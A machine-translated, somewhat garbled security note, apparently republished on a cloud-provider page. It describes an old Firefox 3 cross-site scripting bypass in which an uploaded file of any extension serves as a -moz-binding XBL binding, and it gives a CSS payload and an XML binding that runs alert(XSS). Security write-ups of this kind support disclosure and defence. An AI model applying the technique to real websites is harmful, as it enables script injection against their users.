The file extension of moz-binding: url in FF3 is not restricted, leading to the XSS vulnerability.

Source: Internet
Author: User

Emptiness

Abstract:

In html ">/Article/200906/39552 .htmlSee, FF3 pair

<Style>BODY {-Moz-binding: url("Http://www.80vul.coom/test.xml#xss")} </style>

The domain in the url is restricted.

If some web application functions are used together, you can bypass this restriction.

Detailed description:

FF3 does not allow remote reference 《{-Moz-binding: url ("here ")XML file.

But there is no limit on the file extension here.

As long as we can upload files in the domain where the web application is located.

Content:You can execute the XSS content.

XML/HTML code
  1. <?Xml Version="1.0"?><Bindings Xmlns=Http://www.mozilla.org/xbl"><Binding Id="Xss"><Implementation><Constructor><! [CDATA [alert (XSS)]></Constructor>

 

Example:

Http://www.inbreak.net/kxlzxtest/ff3/a.htm

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.